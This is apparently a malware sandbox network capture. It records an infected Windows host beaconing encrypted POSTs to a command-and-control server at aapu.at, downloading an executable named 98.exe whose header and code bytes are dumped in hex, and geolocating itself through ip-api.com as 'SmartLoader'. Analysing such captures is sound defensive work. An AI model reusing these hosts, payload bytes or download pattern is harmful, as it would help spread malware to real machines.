Mar 24, 2023 01:27:07.025404930 CET	730	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:27:06 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49723	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:27:07.185559034 CET	731	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xlawrqy.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 305 Host: aapu.at
Mar 24, 2023 01:27:07.185606003 CET	731	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 13 6b 2c 90 f5 76 0b 75 3c 3a d4 e7 Data Ascii: ;nY!pwr\|~btyHnY[&?$`7C[zqNA -[k,vu<:Vbkiy#.Jvr"V,z3IpW%Xl_vB5m %_:`t0'DIBHQfZuYRxK
Mar 24, 2023 01:27:07.349318981 CET	732	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:27:07 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49696	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:45.394186974 CET	93	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://msukxfkobc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 144 Host: aapu.at
Mar 24, 2023 01:26:45.394238949 CET	93	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 45 4f c9 ad Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vuEODQgZDa6Q>N\|{Y76okd%3;@T/2
Mar 24, 2023 01:26:45.628024101 CET	94	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:26:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49724	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:27:07.530535936 CET	733	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fcpnyo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 327 Host: aapu.at
Mar 24, 2023 01:27:07.530798912 CET	733	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 10 6b 2c 90 f5 76 0b 75 44 29 c3 ec Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vuD)E+muD8I3d>.N2Yy\|J>&^FCNVp?XS/aQ]Tz7gW\^-Jl),+oYc~]]s~18z
Mar 24, 2023 01:27:07.688446045 CET	734	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:27:07 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49725	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:27:08.988954067 CET	735	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wiipas.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 247 Host: aapu.at
Mar 24, 2023 01:27:08.988955021 CET	735	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 11 6b 2c 90 f5 76 0b 75 7d 15 e6 e4 Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vu}m0DPZzEMNvfmOGsfj#W^P{U>TxGGl69zL~MO n4acpnG8"VF
Mar 24, 2023 01:27:09.150739908 CET	736	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:27:09 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 50 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 71 5a 3c 1e a5 6a 5b b5 eb 55 e5 cc b3 e4 36 91 3d c1 b5 2b 5c 5b 9f 9f c0 97 3c 9a 3b 0d 16 Data Ascii: #\qZ<j[U6=+\[<;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49726	91.227.16.21	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:27:09.344120026 CET	736	OUT	GET /98.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: h168121.srv21.test-hf.su
Mar 24, 2023 01:27:09.404208899 CET	738	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Fri, 24 Mar 2023 00:27:09 GMT Content-Type: application/octet-stream Content-Length: 1217709 Connection: keep-alive Keep-Alive: timeout=20 Last-Modified: Thu, 23 Mar 2023 20:08:42 GMT ETag: "1294ad-5f796d7e39194" X-Power-Supply-By: 220 Volt Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 78 5f 63 ed 3c 3e 0d be 3c 3e 0d be 3c 3e 0d be 88 a2 fc be 31 3e 0d be 88 a2 fe be b2 3e 0d be 88 a2 ff be 24 3e 0d be 9d 49 f0 be 3e 3e 0d be 9d 49 09 bf 2f 3e 0d be 9d 49 0e bf 2b 3e 0d be 9d 49 08 bf 08 3e 0d be 35 46 8e be 37 3e 0d be 35 46 9e be 3b 3e 0d be 3c 3e 0c be 29 3f 0d be c9 49 08 bf 0d 3e 0d be c9 49 0d bf 3d 3e 0d be c9 49 f2 be 3d 3e 0d be c9 49 0f bf 3d 3e 0d be 52 69 63 68 3c 3e 0d be 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 8d bf 20 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1e 00 1c 03 00 00 c8 01 00 00 00 00 00 30 f5 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 07 00 00 04 00 00 00 00 00 00 02 00 40 c1 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 d0 03 00 34 00 00 00 a4 d0 03 00 50 00 00 00 00 40 06 00 50 e0 00 00 00 00 00 00 00 00 00 00 e5 2e 12 00 c8 65 00 00 00 30 07 00 3c 23 00 00 1c b1 03 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 55 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 03 00 78 02 00 00 ec c5 03 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 dc 1b 03 00 00 10 00 00 00 1c 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c0 ae 00 00 00 30 03 00 00 b0 00 00 00 20 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 20 47 02 00 00 e0 03 00 00 10 00 00 00 d0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 90 01 00 00 00 30 06 00 00 02 00 00 00 e0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 e0 00 00 00 40 06 00 00 e2 00 00 00 e2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 3c 23 00 00 00 30 07 00 00 24 00 00 00 c4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$x_c<><><>1>>$>I>>I/>I+>I>5F7>5F;><>)?I>I=>I=>I=>Rich<>PEL b00@`@p4P@P.e0<#TU@0x .text `.rdata0 @@.data G@.didat0@.rsrcP@@@.reloc<#0$@B
Mar 24, 2023 01:27:09.404273987 CET	739	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 20 f0 43 00 e8 f5 4d 00 00 c3 cc cc cc cc cc b9 98 10 44 00 e9 6a 5b 00 00 Data Ascii: h CMDj[0D>hp+CiYh+CSYDDSxzEVh+CYE6h+CYrDh
Mar 24, 2023 01:27:09.404336929 CET	740	IN	Data Raw: ec 21 00 00 88 9e d4 6c 00 00 66 89 9e dc 6c 00 00 89 9e f0 21 00 00 89 9e b8 6c 00 00 89 9e bc 6c 00 00 89 9e c0 6c 00 00 89 9e c4 6c 00 00 e8 ee ea 01 00 6a 34 8d 86 60 22 00 00 53 50 e8 df ea 01 00 6a 20 8d 86 a8 45 00 00 53 50 e8 d0 ea 01 00 Data Ascii: !lfl!llllj4`"SPj ESPM$l3llmmmmfmlm!^[dQ3$(,048@DHLPT
Mar 24, 2023 01:27:09.404392958 CET	742	IN	Data Raw: ff 74 24 14 8b cd 8b f8 8b f2 e8 13 ff ff ff 8b 4d 00 8a d8 6a 00 56 57 8b 71 10 8b ce ff 15 78 32 43 00 8b cd ff d6 5f 5e 8a c3 5b 5d c2 04 00 b8 5a 26 43 00 e8 6a d1 01 00 83 ec 2c 53 56 8b d9 57 6a 07 5f 8b 03 8d 8b 10 22 00 00 57 51 c6 83 d4 Data Ascii: t$MjVWqx2C_^[]Z&Cj,SVWj_"WQlplx2C;XW"3Plt?lL;Vwx2CORPx2CWj_h Mupx2CM3
Mar 24, 2023 01:27:09.404473066 CET	743	IN	Data Raw: ff 36 ff 75 dc e8 19 fd 00 00 8b 06 33 c9 66 89 0c 78 eb 0d ff 76 04 ff 36 ff 75 dc e8 89 fc 00 00 ff 36 e8 11 1f 02 00 59 50 8b ce e8 9e f9 ff ff 5f b3 01 5e 8b 45 dc c7 45 fc 02 00 00 00 85 c0 74 19 80 7d ec 00 74 0c ff 75 e4 50 e8 19 d5 00 00 Data Ascii: 6u3fxv6u6YP_^EEt}tuPEPYM[dVWjllpx2C_^&C!ZquG3EEEEEEEP}Et}tEPu~u_
Mar 24, 2023 01:27:09.404562950 CET	744	IN	Data Raw: 88 8b 07 21 00 00 c6 83 08 22 00 00 00 c6 45 00 00 a8 01 74 29 8b cf e8 ff a8 00 00 8b f0 b8 ff 00 00 00 3b f0 72 02 8b f0 56 55 8b cf e8 4b a8 00 00 8b 44 24 20 c6 84 1e 08 21 00 00 00 a8 02 74 2b 8b cf e8 d2 a8 00 00 8b f0 b8 ff 00 00 00 3b f0 Data Ascii: !"Et);rVUKD$ !t+;rV"P"!t#!t#!ob$!S$sV$P4h
Mar 24, 2023 01:27:09.404620886 CET	746	IN	Data Raw: d6 83 f8 08 74 0c 8b cb e8 09 17 00 00 e9 e2 09 00 00 33 c9 8d 45 40 51 51 51 51 50 8b 83 d4 21 00 00 8d b3 38 10 00 00 05 24 60 00 00 50 6a 04 51 8b ce e8 1c 37 00 00 89 75 3c eb 03 88 4d 5a 57 8d 4d 1c e8 5b a4 00 00 83 7d 34 00 74 b7 8d 4d 1c Data Ascii: t3E@QQQQP!8$`PjQ7u<MZWM[}4tMM!"ZMfM"$"J"";sA?jZst*ttu(jjX""3"
Mar 24, 2023 01:27:09.404676914 CET	747	IN	Data Raw: df ff ff 50 8d 4d 1c e8 65 9e 00 00 33 c9 33 c0 83 7d 18 02 88 84 3d d0 df ff ff 0f 94 c1 49 81 e1 50 23 00 00 81 c1 c0 22 00 00 03 cb 83 7d 18 02 89 4d 54 75 75 33 d2 66 89 11 f7 46 08 00 02 00 00 74 41 8d 4d 00 e8 3e 3b 00 00 8d 85 d0 df ff ff Data Ascii: PMe33}=IP#"}MTuu3fFtAM>;PL@Y;v"huT+QPMWP;MT3f9ujhQP0V?hQPF+EPFxtx(WW(7M
Mar 24, 2023 01:27:09.404733896 CET	748	IN	Data Raw: 83 c5 5c c9 c3 55 83 ec 68 b8 be 26 43 00 e8 73 b8 01 00 b8 68 20 00 00 e8 41 b9 01 00 53 56 8b d9 8d 4d 30 57 53 e8 66 98 00 00 33 c9 89 4d 64 89 4d fc 38 8b d4 6c 00 00 0f 84 75 01 00 00 8b 93 d8 6c 00 00 33 c0 83 c2 08 13 c1 39 83 bc 6c 00 00 Data Ascii: \Uh&Csh ASVM0WSf3MdM8lul39l\9lN!Ej8'atC2PjlMjQpx2C!$auEktEkE(3PQx"EP!\|"
Mar 24, 2023 01:27:09.404797077 CET	750	IN	Data Raw: 94 10 00 00 e8 fa 94 00 00 89 86 60 10 00 00 8b 86 94 10 00 00 c1 e8 03 24 01 89 96 64 10 00 00 88 86 9a 10 00 00 74 11 b8 ff ff ff 7f 89 86 60 10 00 00 89 86 64 10 00 00 8b 8e 5c 10 00 00 8b be 64 10 00 00 8b 86 58 10 00 00 8b 96 60 10 00 00 3b Data Ascii: `$dt`d\dX`;\|;wlM0hF$tM0\|jP@ptM0pLtM07E`N ?2N2tF'M
Mar 24, 2023 01:27:09.460428953 CET	751	IN	Data Raw: 56 00 00 8d 86 99 56 00 00 50 f7 d9 8d 86 89 56 00 00 1b c9 23 c8 8d 82 24 60 00 00 51 50 ff b6 84 56 00 00 8d 8e f8 20 00 00 53 e8 23 93 00 00 6a 01 ff b6 58 56 00 00 8d 8e b8 21 00 00 e8 d9 6d 00 00 8b 8e 44 56 00 00 ff 75 0c 8b 86 40 56 00 00 Data Ascii: VVPV#$`QPV S#jXV!mDVu@V$!! V !!(!E)!VO!E8!<!HVLV\e`ete8FuQP P@TSF7V

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49727	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:27:12.398664951 CET	2006	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ckwhbgoaop.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 261 Host: aapu.at
Mar 24, 2023 01:27:12.398725986 CET	2006	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2c 5b 11 6b 2c 90 f4 76 0b 75 67 02 ec e7 Data Ascii: ;nY!pwr\|~btyHnY[&?$`7C[zqNA ,[k,vugxC}ARD~PYwZDH\|jG[(7b/uVCl#.[p6gUO-HkLYt}j/1
Mar 24, 2023 01:27:12.539592981 CET	2007	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:27:12 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49728	208.95.112.1	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:27:17.314398050 CET	2008	OUT	GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1 Content-Type: application/json User-Agent: SmartLoader Host: ip-api.com
Mar 24, 2023 01:27:17.348083019 CET	2009	IN	HTTP/1.1 200 OK Date: Fri, 24 Mar 2023 00:27:17 GMT Content-Type: application/json; charset=utf-8 Content-Length: 104 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 34 30 22 7d Data Ascii: {"status":"success","countryCode":"CH","city":"Zurich","timezone":"Europe/Zurich","query":"84.17.52.40"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
